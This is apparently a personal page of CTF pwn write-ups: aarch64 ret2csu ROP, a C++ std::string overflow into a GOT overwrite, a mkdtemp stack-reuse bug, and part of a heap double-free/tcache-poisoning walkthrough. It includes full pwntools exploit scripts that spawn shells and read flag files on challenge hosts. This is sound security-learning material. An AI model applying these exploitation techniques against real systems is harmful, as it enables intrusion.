About
Trying to learn pwn and reversing.
Resume
Contact
PGP Public Key
-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEZe/MzBYJKwYBBAHaRw8BAQdAO8n3lGgp3as/VMYeubPy1XgjEJJepl+gcHzS
QZb/87K0K1dpbGxpYW0gV2lqYXlhIChHZW5lcmFsKSA8ZDB1Ymxld0BkdWNrLmNv
bT6IkwQTFgoAOxYhBCASofVtp/JHtJU59P/uxWUt57i+BQJl78zMAhsDBQsJCAcC
AiICBhUKCQgLAgQWAgMBAh4HAheAAAoJEP/uxWUt57i+yaEA/2b/xDP1zk9cKkXg
jF9I7AJStuCMggla+hxwC6qlok0YAP49gnnRCMF4jGBSmO+wl/n7MqDuOXWjKzxe
AqTjEj3aALg4BGXvzMwSCisGAQQBl1UBBQEBB0D0lhjMX2KPaX4FXtoQswqjPZSu
DuKsOUATw2iH/nRZEAMBCAeIeAQYFgoAIBYhBCASofVtp/JHtJU59P/uxWUt57i+
BQJl78zMAhsMAAoJEP/uxWUt57i+XS8A/iMPpLVJBECVef42BoIpkrFbrSJCMXnB
bXRCGZqdlp/eAQDJrfA58yplCCu0Xq9SDF0DwYYFdk47h1/vxaN1H/OQAQ==
=lTTU
-----END PGP PUBLIC KEY BLOCK-----
CTF Writeups
pwn
Challenge Name | CTF Name | Keywords | Summary |
---|---|---|---|
generic-rop-challenge | ImaginaryCTF 2023 | aarch64, ARM64, ROP, ret2csu | ret2csu on aarch64 architecture |
bofww | CakeCTF 2023 | bof, cpp | Buffer overflow into arbitrary address write via std::string operator= |
Memorial Cabbage | CakeCTF 2023 | insecure libc function | mkdtemp return value lives in the stack instead of heap which allow us to overwrite it |
Glacier Rating | GlacierCTF 2023 | heap, cpp, tcache poisoning, double free, fastbin dup | Double free into tcache poisoning |
Hack The Binary 1 | PwC CTF: Hack A Day 2023 - Securing AI | oob | Array OOB read |
Hack The Binary 2 | PwC CTF: Hack A Day 2023 - Securing AI | format string, ROP | Format string to defeat ASLR, ROP to get RCE |
ezv8 revenge | bi0sCTF 2024 | pwn, browser, V8, type confusion, V8 sandbox, wasm | CVE-2020-6418 on V8 version 12.2.0 (970c2bf28ddb93dc17d22d83bd5cef3c85c5f6c5, 2023-12-27); shellcode execution via wasm instance object |
osu-v8 | osu!gaming CTF 2024 | pwn, browser, V8, V8 garbage collection, UAF, V8 sandbox, wasm | CVE-2022-1310 on V8 version 12.2.0 (8cf17a14a78cc1276eb42e1b4bb699f705675530, 2024-01-04); UAF on RegExp().lastIndex ; shellcode execution via wasm instance object |
mixtpeailbc | b01lers CTF 2024 | custom VM, oob | custom VM with instructions to swap instruction handlers and registers without bound checking, using swap registers to leak libc address and swap instruction handlers to spawn a shell |
web
Challenge Name | CTF Name | Keywords | Summary |
---|---|---|---|
PHP Code Review 1 | PwC CTF: Hack A Day 2023 - Securing AI | php | Leveraging Google search box to capture the flag |
PHP Code Review 2 | PwC CTF: Hack A Day 2023 - Securing AI | php | Triggerring error to reach catch block |
Warmup | Wargames.MY CTF 2023 | php, RCE, LFI | LFI to RCE via PHP PEARCMD |
Status | Wargames.MY CTF 2023 | php, k8s, nginx, off-by-slash | Retrieve nginx config file from k8s configmaps |
Secret | Wargames.MY CTF 2023 | k8s, HashiCorp Vault | Read secret from HashiCorp vault using the vault CLI and using nginx off-by-slash |
ImaginaryCTF 2023
pwn
Challenge Name | Keywords | Summary |
---|---|---|
generic-rop-challenge | aarch64, ARM64, ROP, ret2csu | ret2csu on aarch64 architecture |
generic-rop-challenge
Keywords
ARM64, aarch46, ROP, ret2csuwarning
Not sure why the exploit does not work in non-debug mode locally, but works for local debug-mode and remote non-debug
aarch64 (ARM64)
Tools
References: https://docs.pwntools.com/en/stable/qemu.html
Debugging (choose either one):
- gdb-multiarch:
sudo apt-get install gdb-multiarch
- gcc toolchain (with gdb): https://github.com/xpack-dev-tools/aarch64-none-elf-gcc-xpack/
Running:
- qemu:
sudo apt-get install qemu-user-static
- libs:
sudo apt-get install libc6-arm64-cross
installs to/usr/aarch64-linux-gnu/
Running the binary
# non-debug mode
qemu-aarch64-static ./binary
# debug mode (gdbserver) on port 1234
qemu-aarch64-static -g 1234 ./binary
# in case of the loader not provided (`ld-linux-aarch64.so.1`), use the loader from `libc-arm64-cross`
qemu-aarch64-static -L /usr/aarch64-linux-gnu/ ./binary
Attach debugger with GEF
gef➤ gef-remote --qemu-user localhost 1234
Assembly
References: http://blog.perfect.blue/ROPing-on-Aarch64
Registers
x0
tox7
are used to pass argumentsx29
is equivalent torbp
inx86
x30
stores return address
Function Prologue
Pre-indexed performs the offset operation then the assembly instruction:
- Add
N
tosp
(sp = sp + N
) - Stores old frame pointer,
x29
, to[sp]
and return address,x30
, to[sp + 8]
stp x29, x30, [sp, #N]! ; pre-indexed [base, #offset]!
mov x29, sp
Function Epilogue
Post-indexed performs the assembly instruction then the offset operation
- Load
[sp]
tox29
and[sp + 8]
tox30
- Add
N
tosp
(sp = sp + N
)
ldp x29, x30, [sp], #N ; post-indexed [base], #offset
Stack Layout
+--------------------------+ ^ Lower memory address
| callee's saved x29 | |
+--------------------------+ |
| callee's saved x30 | |
+--------------------------+ | Stack growth direction
| callee's local variables |
+--------------------------+
| caller's saved x29 |
+--------------------------+
| caller's saved x30 |
+--------------------------+
| caller's local variables |
+--------------------------+ Higher memory address
Unlike in x86
where saved rbp
and rip
are below the local variables which allow us to overwrite the saved rip
and immediately return to our desired address,
in ARM64
we overwrite the callers's return address instead due to the stack layout which means that we would first return normally to the caller and only then return to our desired address
Solution
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
ld = ELF("./ld-linux-aarch64.so.1")
libc = ELF("./libc.so.6")
elf = context.binary = ELF("./vuln")
def start(argv=[], *a, **kw):
global flag_path
host = args.HOST or 'generic-rop-challenge.chal.imaginaryctf.org'
port = int(args.PORT or 42042)
if args.REMOTE:
flag_path = b"/home/user/flag.txt\x00"
return remote(host, port)
if args.GDB:
flag_path = b"/run/shm/flag.txt\x00"
return process([qemu, "-g", str(debug_port), elf.path])
else:
flag_path = b"/run/shm/flag.txt\x00"
return process([qemu, elf.path] + argv, env=env, *a, **kw)
env = {}
qemu = "/usr/bin/qemu-aarch64-static"
debug_port = 1234
flag_path = b""
io = start()
pad = 80 - 0x10
main_x29 = b"BBBBBBBB"
bss = elf.bss(0x200)
csu_1 = 0x400948
csu_2 = 0x400928
def ret2csu(w0, x1, x2, func_ptr, next_gadget):
payload = b"A" * pad + main_x29 + p64(csu_1)
payload += flat(bss, p64(csu_2))
payload += flat(0, 1) # x19, x20
payload += flat(func_ptr, w0) # x21, x22
payload += flat(x1, x2) # x23, x24
payload += flat(bss, next_gadget)
return payload
# Leak LIBC
payload = ret2csu(elf.got["puts"], 0, 0, elf.got["puts"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
leak_puts = u64(io.recvline(keepends=False).ljust(8, b"\x00"))
if not args.REMOTE:
leak_puts |= 0x4000000000
log.info(f"{leak_puts=:#x}")
libc.address = leak_puts - libc.symbols["puts"]
log.info(f"{libc.address=:#x}")
# gets(bss) // stdin: /home/user/flag.txt
pause()
log.info(f"setup flag path string @ bss + 0x500")
log.info(f"{flag_path=}")
flag_path_addr = elf.bss(0x500)
payload = ret2csu(flag_path_addr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(flag_path) # absolute path to ignore `dirfd` for `openat`
# gets(bss) // stdin: libc.symbols["openat"]
openat_fptr = elf.bss(0x600)
log.info(f"setup openat function pointer @ bss + 0x600")
payload = ret2csu(openat_fptr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(p64(libc.symbols["openat"]))
# fini_ptr = 0x400e20
# openat(0, flag_path_addr, 0)
log.info(f"openat(0, flag_path_addr, 0)")
payload = ret2csu(0, flag_path_addr, 0, openat_fptr, elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
# gets(bss) // stdin: libc.symbols["read"]
read_fptr = elf.bss(0x600)
log.info(f"setup read function pointer @ bss + 0x600")
payload = ret2csu(read_fptr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(p64(libc.symbols["read"]))
# read(5, flag_addr, 0x100)
flag_addr = elf.bss(0x700)
log.info(f"read(5, flag_addr, 0x100)") # trial-and-error to find the proper fd
payload = ret2csu(5, flag_addr, 0x100, read_fptr, elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
# gets(bss) // stdin: libc.symbols["write"]
write_fptr = elf.bss(0x600)
log.info(f"setup write function pointer @ bss + 0x600")
payload = ret2csu(write_fptr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(p64(libc.symbols["write"]))
# write(1, flag_addr, 0x100)
payload = ret2csu(1, flag_addr, 0x100, write_fptr, elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.interactive()
CakeCTF 2023
pwn
Challenge Name | Keywords | Summary |
---|---|---|
bofww | bof, cpp | Buffer overflow into arbitrary address write via std::string operator= |
Memorial Cabbage | insecure libc function | mkdtemp return value lives in the stack instead of heap which allow us to overwrite it |
bofww
Author: ptr-yudai
Description: buffer overflow with win function
Attachment: bofww.tar.gz
Keywords
CakeCTF 2023, pwn, bof, cppTL;DR
Buffer overflow into arbitrary address write via std::string
operator=
Source Code
#include <iostream>
void win() {
std::system("/bin/sh");
}
void input_person(int& age, std::string& name) {
int _age;
char _name[0x100];
std::cout << "What is your first name? ";
std::cin >> _name;
std::cout << "How old are you? ";
std::cin >> _age;
name = _name;
age = _age;
}
int main() {
int age;
std::string name;
input_person(age, name);
std::cout << "Information:" << std::endl
<< "Age: " << age << std::endl
<< "Name: " << name << std::endl;
return 0;
}
__attribute__((constructor))
void setup(void) {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
}
$ checksec --file ./bofww
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Initial Analysis
There is an obvious buffer overflow on input_person()
, specifically the _name
variable. However, the program is compiled with stack protector and we might
need to leak the stack cookie for us to smash the stack. Unfortunately, I could
not find any way to leak the cookie and gain another round of buffer overflow.
Luckily, the program global offset table (GOT) entries are overwritable. Moreover,
there is a win function which would pop us a shell; hence, the plan is to
overwrite __stack_chk_fail
GOT entry to be the address of win()
function.
But, how do we overwrite the GOT, you may ask? Well, in short, we overwrite the
std::string
structure which contains pointer to a memory address in which
the actual string content lives. Guess, this is a good excuse to dive into
libstdc++6
(cxx11
) std::string
internals to better understand how our exploit
works. Then, we would walkthrough the operator=
function to better craft our
exploit. If you are just here for the final solve script, you can skip to this
section.
std::string
Brief Internals
Let's try to play with the program through GDB. First, set a breakpoint at input_person+164
,
which is the just before name = _name
line of code is executed. Next, run
the program and input any short name, in this example, the input would be aaaabaaa
for _name
, and any number for _age
.
gef> break *input_person+164
gef> run
gef> info reg rdi
rdi 0x7fffffffcde0 0x7fffffffcde0
gef> ni
gef> tele 0x7fffffffcde0
0x7fffffffcde0|+0x0000|+000: 0x00007fffffffcdf0 -> 'aaaabaaa' <- $rax
0x7fffffffcde8|+0x0008|+001: 0x0000000000000008
0x7fffffffcdf0|+0x0010|+002: 'aaaabaaa' <- $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000000000000
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xa7306dc9e85ed800 <- canary
We could try to supply another input, for example aaaabaaacaaaa
, and inspect the
memory.
0x7fffffffcde0|+0x0000|+000: 0x00007fffffffcdf0 -> 'aaaabaaacaaa' <- $rax
0x7fffffffcde8|+0x0008|+001: 0x000000000000000c ('\x0c'?)
0x7fffffffcdf0|+0x0010|+002: 'aaaabaaacaaa' <- $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000061616163 ('caaa'?)
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xdea7b9a5dde5b200 <- canary
We could see from the two examples how std::string
is represented on the stack
and sort of guess that:
offset | data |
---|---|
0x00 | pointer to the string content |
0x08 | length of the string content |
0x10 | the actual string content |
Looks like the structure could hold up to either 0x10
or 0x18
bytes of
characters (including the NULL
termination byte) on the stack. Let's try to
provide 0x10
bytes of input and see how it reacts.
0x7fffffffcde0|+0x0000|+000: 0x00000000004172b0 -> 'aaaaaaaabaaaaaaa' <- $rax
0x7fffffffcde8|+0x0008|+001: 0x0000000000000010
0x7fffffffcdf0|+0x0010|+002: 0x000000000000001e <- $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000000000000
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xc382c9256963b300 <- canary
As could be seen, our string is now allocated on the heap.
Since there is a pointer to a memory address, we could probably overwrite this
value with our buffer overflow and point it to __stack_chk_fail@got.plt
.
payload = b""
payload += p64(win)
payload = payload.ljust(0x130, b"\x00")
payload += p64(stack_chk_fail_got)
With this payload, we actually got a SIGSEGV
and looking at the call stack,
it is trying to call free
which hints us on operator=
trying to allocate
our input on the heap. However, our input is only 3 bytes long as NULL
bytes
are not counted. This is weird. Guess, this is a perfect time to look at how
operator=
works.
-> 0x7fdbf5c3d8d7 498b4608 <_int_free+0x1b7> mov rax, QWORD PTR [r14 + 0x8]
[!] Cannot access memory at address 0x8050d8
[Thread Id:1] Name: "bofww", stopped at 0x7fdbf5c3d8d7 <_int_free+0x1b7>, reason: SIGSEGV
[#0] 0x7fdbf5c3d8d7 <_int_free+0x1b7>
[#1] 0x7fdbf5c404d3 <free+0x73> (frame name: __GI___libc_free)
[#2] 0x7fdbf5f4182d <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_mutate(unsigned long, unsigned long, char const*, unsigned long)+0xed>
[#3] 0x7fdbf5f4288b <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long, unsigned long, char const*, unsigned long)+0xfb>
[#4] 0x0000004013b9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+0xa9>
[#5] 0x000000000000 <NO_SYMBOL>
Understanding operator=(const char *)
Unfortunately, I could not find the libstdc++
source code for the operator=
function (skill issue, probably) and had to instead use ghidra
to decompile
the file.
To easily locate the function address, turn off demangling inside GDB (if you
have it turned on) and use the mangled function name _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc
as the search filter.
gef> set print asm-demangle off
gef> x/i 0x00000000004013b4
0x4013b4 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+164>: call 0x4011a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc@plt>
The following is the decompiled code for operator=(const char *)
. As could be
seen, there is a familiar function named _M_replace()
. It accepts:
- the
std::string
structure as the first parameter, - index as the second parameter
- current string length (offset
0x08
) as the third parameter - pointer to the new string content as the fourth parameter
- and lastly, the length of the new string
void __thiscall
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
(basic_string<char,std::char_traits<char>,std::allocator<char>> *this,char *new_str)
{
size_t new_len;
new_len = strlen(new_str);
_M_replace(this,0,*(ulong *)(this + 8),new_str,new_len);
return;
}
Looking into _M_replace()
, there is the _M_mutate()
function which causes the
SIGSEGV
. To avoid calling _M_mutate()
, capacity
, which is the value at
offset 0x10
(since we overwrote ptr
and now ptr != this+0x10
), needs to be
larger than our input length. Since we have buffer overflow, we could control
the value at offset 0x10
as well which make the program goes into the else
block and finally execute the memcpy()
function, where the destination is
the overwritten ptr
value plus index (which is always 0
) and the source is
our input value.
basic_string<char,std::char_traits<char>,std::allocator<char>> * __thiscall
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_replace
(basic_string<char,std::char_traits<char>,std::allocator<char>> *this,ulong index,
ulong cur_size,char *new_str,ulong new_len)
{
basic_string<char,std::char_traits<char>,std::allocator<char>> *__dest;
ulong _new_len;
ulong capacity;
ulong idk;
long _cur_size;
basic_string<char,std::char_traits<char>,std::allocator<char>> *ptr;
_cur_size = *(long *)(this + 8);
if (new_len <= (cur_size + 0x3fffffffffffffff) - _cur_size) {
ptr = *(basic_string<char,std::char_traits<char>,std::allocator<char>> **)this;
_new_len = (new_len - cur_size) + _cur_size;
if (ptr == this + 0x10) {
/* inline string (on stack) */
capacity = 0xf;
}
else {
capacity = *(ulong *)(this + 0x10);
}
if (capacity < _new_len) { // <=== avoid this
_M_mutate(this,index,cur_size,new_str,new_len);
}
else {
__dest = ptr + index;
idk = _cur_size - (index + cur_size);
if ((new_str < ptr) || (ptr + _cur_size < new_str)) {
if ((idk != 0) && (cur_size != new_len)) {
if (idk == 1) {
__dest[new_len] = __dest[cur_size];
}
else {
memmove(__dest + new_len,__dest + cur_size,idk);
}
}
if (new_len != 0) {
if (new_len == 1) {
*__dest = (basic_string<char,std::char_traits<char>,std::allocator<char>>)*new_str;
}
else {
memcpy(__dest,new_str,new_len); // <=== target
}
}
}
else {
_M_replace_cold(this,(char *)__dest,cur_size,new_str,new_len,idk);
}
}
*(ulong *)(this + 8) = _new_len;
*(undefined *)(*(long *)this + _new_len) = 0;
return this;
}
/* WARNING: Subroutine does not return */
__throw_length_error("basic_string::_M_replace");
}
Solution
Let's briefly recap on our analysis:
input_person()
function is subjected to buffer overflowstd::string
contains a pointer to memory address at offset0x00
- this pointer could be overwritten w/ buffer overflow to point to
__stack_chk_fail@got.plt
and our input would be used to populate this GOT entry - simply overwriting this pointer is not enough as the
operator=
function calls into_M_mutate()
which causes segmentation fault - need to overwrite
std::string
structure at offset0x10
to be larger than our input length (calculated withstrlen
) to avoid the_M_mutate()
function calls
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
elf = context.binary = ELF("./bofww", checksec=False)
def start(argv=[], *a, **kw):
nc = "nc bofww.2023.cakectf.com 9002"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
return process([elf.path] + argv, env=env, *a, **kw)
env = {}
io = start()
win = 0x4012f6
stack_chk_fail_got = elf.got["__stack_chk_fail"]
payload = b""
payload += p64(win)
payload = payload.ljust(0x130, b"\x00")
payload += flat(
stack_chk_fail_got,
0,
0x3 # std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long, unsigned long, char const*, unsigned long)+0x4a --> need to be >= strlen(_name) # noqa
)
io.sendline(payload)
io.sendline(b"1337")
io.interactive()
$ ./solve.py
[*] Switching to interactive mode
What is your first name? How old are you? $ ls
Dockerfile docker-compose.yml libstdc++.so.6.0.32 readme.md
bofww flag.txt main.cpp solve.py
$ cat flag.txt
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
$
Memorial Cabbage
Author: ptr-yudai
Description: Memorial Cabbage Unit 3
Attachment: memorial-cabbage.tar.gz
Keywords
CakeCTF 2023, pwnTL;DR
mkdtemp
return value lives in the stack instead of heap which allow us to overwrite it.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"
static char *tempdir;
void setup() {
char template[] = TEMPDIR_TEMPLATE;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
if (!(tempdir = mkdtemp(template))) {
perror("mkdtemp");
exit(1);
}
if (chdir(tempdir) != 0) {
perror("chdir");
exit(1);
}
}
void memo_r() {
FILE *fp;
char path[0x20];
char buf[0x1000];
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "r")))
return;
fgets(buf, sizeof(buf) - 1, fp);
fclose(fp);
printf("Memo: %s", buf);
}
void memo_w() {
FILE *fp;
char path[0x20];
char buf[0x1000];
printf("Memo: ");
if (!fgets(buf, sizeof(buf)-1, stdin))
exit(1);
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "w")))
return;
fwrite(buf, 1, strlen(buf), fp);
fclose(fp);
}
int main() {
int choice;
setup();
while (1) {
printf("1. Write memo\n"
"2. Read memo\n"
"> ");
if (scanf("%d%*c", &choice) != 1)
break;
switch (choice) {
case 1: memo_w(); break;
case 2: memo_r(); break;
default: return 0;
}
}
}
Initial Analysis
At a glance, the program seems to not have any vulnerability. The setup()
function creates a temporary directory under /tmp
and save the directory name
to tempdir
. Both memo write and read have proper size constraints to prevent
buffer overflow and would operate on a file named memo.txt
under tempdir
.
Next, my plan is to just fill up buf
with 0xfff
bytes of cyclic pattern and
observe any interesting outcome.
gef> x/s (char*)tempdir
0x7ffd9aab6920: "/tmp/cabbage.FSWsBP"
gef> ni
gef> x/s (char*)tempdir
0x7ffd9aab6920: "bovabowaboxabo"
Turns out that our input overwrites part of tempdir
. This happens because
mkdtemp
returns char *
that is pointing to the stack and when the setup()
returns, the string /tmp/cabbage.FSWsBP
is located in the stack area which
would be used to allocate local variables when another function is called.
In this case, when memo_w
is called, the memory which would be allocated for
buf
overlaps with tempdir
, which allows us to overwrite the path value.
gef> x/5i memo_w+59
0x55565ba76502 <memo_w+59>: mov rdx,QWORD PTR [rip+0x2b17] # 0x55565ba79020 <stdin@GLIBC_2.2.5>
0x55565ba76509 <memo_w+66>: lea rax,[rbp-0x1010]
0x55565ba76510 <memo_w+73>: mov esi,0xfff
0x55565ba76515 <memo_w+78>: mov rdi,rax
0x55565ba76518 <memo_w+81>: call 0x55565ba76180 <fgets@plt>
gef> x/gx $rbp-0x1010
0x7ffd9aab5930: 0x6161616261616161
gef> p/x 0x7ffd9aab5930+0x1000
$6 = 0x7ffd9aab6930
Solution
Now that we are able to overwrite the value of tempdir
and the memo path
is constructed everytime memo_r
is called, we could overwrite tempdir
to be
/flag.txt\x00
. Since the length of /flag.txt\x00
is shorter than TEMPDIR_TEMPLATE
,
when strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt")
is called, our NULL
termination stays and fopen()
would open /flag.txt
, instead of /flag.txtgarbage/memo.txt
important
When testing locally, make sure that the running user has no write permission
to /flag.txt
since memo_w
would not return early and instead overwrite
the content of /flag.txt
.
Final solve script:
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
elf = context.binary = ELF("./cabbage", checksec=False)
def start(argv=[], *a, **kw):
nc = "nc memorialcabbage.2023.cakectf.com 9001"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
return process([elf.path] + argv, env=env, *a, **kw)
env = {}
io = start()
io.sendline(b"1")
io.sendline(cyclic(0xff0) + b"/flag.txt\x00")
io.sendline(b"2")
io.interactive()
$ ./solve.py REMOTE HOST=localhost PORT=9001
[+] Opening connection to localhost on port 9001: Done
[*] Switching to interactive mode
1. Write memo
2. Read memo
> Memo: 1. Write memo
2. Read memo
> Memo: FakeCTF{*** REDACTED ***}
1. Write memo
2. Read memo
> $
GlacierCTF 2023
pwn
Challenge Name | Keywords | Summary |
---|---|---|
Glacier Rating | heap, cpp, tcache poisoning, double free, fastbin dup | Double free into tcache poisoning |
Glacier Rating
Author: n4nika
Description: I love C++. No malloc and free, so I can't mess up my heap management, right?
Attachment: glacie-rating.tar.gz
Keywords
GlacierCTF 2023, pwn, heap, cpp, tcache poisoning, double free, fastbin dupTL;DR
Double free into tcache poisoning
Source Code Analysis
In this program, we are first required to provide a username and a password,
then we could interact with the main features of the program with USER
level
permission:
- create a rating
- delete a rating
- show a rating
- scream
- do admin stuff, which prints out
flag.txt
(requireADMIN
level permission)
user.hpp
#ifndef USER_HPP
#define USER_HPP
#include <string>
#include <map>
#include <iostream>
enum class Perms
{
ADMIN = 0,
USER = 1000,
};
class User
{
private:
std::string username_;
std::string password_;
std::map<size_t, char*> ratings_;
Perms user_level_;
public:
User(std::string username, std::string password, Perms user_level);
~User() = default;
User(const User ©) = delete;
std::string getUsername();
Perms getUserLevel();
void insertRating(char *rating);
void removeRating(size_t index);
void showRatings();
};
#endif
Create A Rating
Creating a rating would first allocate a 0x20
sized chunk on the heap, only then
followed by rating amount validation, which only allow us to create 3 ratings.
Our input is then used to create std::pair
value and this pair is then inserted
into the std::map<size_t, char*> ratings_
// main.cpp
void writeRating(User *user) {
char *buffer = new char[24];
std::cout << "Give me your rating" << std::endl;
std::cout << "> ";
fgets(buffer, 24, stdin);
user->insertRating(buffer);
return;
}
// user.cpp
void User::insertRating(char *rating) {
if (ratings_.size() >= 3) {
std::cout << "Maximum amount of ratings reached!" << std::endl;
return;
} else {
ratings_.insert({ratings_.size() + 1, rating});
std::cout << "Successfully added rating" << std::endl;
return;
}
}
Delete A Rating
Deleting a rating seems to be straight forward, where we are required to choose
from the available key
inside ratings_
. Proper validation is implemented
as well to prevent weird interactions. However, there is one problem here. On
line 21
, the function User::removeRating
does not actually delete the
std::pair
element, but instead only delete the std::pair
value. As a result,
the size of the std::map
stays the same as well.
// main.cpp
void deleteRating(User *user) {
size_t index = 0;
std::cout << "Which rating do you want to remove?" << std::endl;
std::cout << "> ";
scanf("%zd", &index);
getchar();
user->removeRating(index);
return;
}
// user.cpp
void User::removeRating(size_t index) {
if (ratings_.empty()) {
std::cout << "No ratings to delete" << std::endl;
return;
} else if (index >= ratings_.size() + 1 | index < 1) {
std::cout << "Invalid Index" << std::endl;
return;
} else {
delete ratings_.at(index); // <=== VULNERABILITY!!!
std::cout << "Removed rating " << index << std::endl;
return;
}
}
Here is a rough visualization of what happen when we delete a rating:
1: aaaa
2: bbbb
3: cccc
Delete `2` --> free bbbbb
1: aaaa
2: ????
3: cccc
Instead of
1: aaaa
3: cccc
With this wrong implementation, we are able to leak data from the heap
(through show rating), since the key 2
still exists inside ratings_
The proper way to delete should be using the erase
method.
Show A Rating
Nothing much here, just a function to display ratings_
.
// main.cpp
void showRatings(User *user) {
user->showRatings();
return;
}
// user.cpp
void User::showRatings() {
std::cout << "Your ratings: " << std::endl;
for (auto rating : ratings_) {
std::cout << rating.first << ": " << rating.second << std::endl;
}
return;
}
Scream
This function allow us to temporarily create a vector which essentially give us the ability to allocate up to 50 arbitrary size chunks. These chunks are then freed when the vector object goes out of scope. We will get back to this function when developing our exploit later on.
// main.cpp
void scream(User *user) {
std::cout << "Now scream to your hearts content!" << std::endl;
std::string line;
std::vector<std::string> lines;
while (line != "quit") {
std::getline(std::cin, line);
lines.push_back(line);
if (lines.size() > 50) {
std::cout << "Thats enough!" << std::endl;
return;
}
}
return;
}
Do Admin Stuff
This is the function that would give us the flag given that our permission is
ADMIN
.
// main.cpp
void doAdminStuff(User *user) {
if (user->getUserLevel() != Perms::ADMIN) {
std::cout << "You are not an admin!" << std::endl;
exit(1);
} else if (user->getUserLevel() == Perms::ADMIN) {
std::ifstream flag_stream("./flag.txt");
std::string flag;
std::getline(flag_stream, flag);
flag_stream.close();
std::cout << "Verified permissions" << std::endl;
std::cout << "Here is your flag: " << flag << std::endl;
exit(0);
}
}
Solution
Getting A Heap Leak
From the analysis above, we found out that we could obtain a heap leak by deleting a rating and show the rating.
create(b"a" * 8)
show()
print(io.recvline())
print(io.recvline())
delete(1)
show()
print(io.recvline())
print(io.recvline())
"""
b'Your ratings: \n'
b'1: aaaaaaaa\n'
b'Your ratings: \n'
b'1: w\xa3c`\x05\n'
"""
Fastbin Dup
What we could do next is to perform double free. However, this does not work
due to tcachebins
mitigation. We could try to find a way to overwrite the bk
field which contain the key to prevent double free but this is not possible.
Unlike tcachebins
, fastbin
does not have the mechanism to detect double free.
So our goal now is to free the rating chunk into fastbin and perform double free
(also known as fastbin dup
).
To achieve this, we would need to first fill up the tcachebins
with chunks of size
0x20
. Recall the scream
function which enable us to allocate up to 50
arbitrary size chunks. Furthermore, this function also freed the allocated chunks
at the end, which is perfect for us.
create(b"a" * 8)
create(b"b" * 8)
create(b"c" * 8)
delete(3)
show()
io.recvuntil(b"3: ")
heap_leak = u64(io.recvline().strip().ljust(8, b"\x00"))
log.info(f"{heap_leak=:#x}")
heap = heap_leak << 12
log.info(f"{heap=:#x}")
user_chunk = heap + 0x370
# fill up tcachebins
payload = b"\n".join([cyclic(0x10)] * 7 + [b"quit"])
scream(payload)
# fastbin dup
delete(1)
delete(2)
delete(1) # <=== DOUBLE FREE!!!
Before scream
----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x555555563090] count=1
-> Chunk(addr=0x555555575530, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=1, size=0x30, @0x555555563098] count=1
-> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
-> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 4 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
[+] Found 0 chunks in fastbin.
After scream
----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x555555563090] count=7
-> Chunk(addr=0x555555575800, size=0x20, flags=PREV_INUSE, fd=0x555000020285, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x5555555757e0, size=0x20, flags=PREV_INUSE, fd=0x5550000202a5, bk=0x6ee603c65e3f27c0)
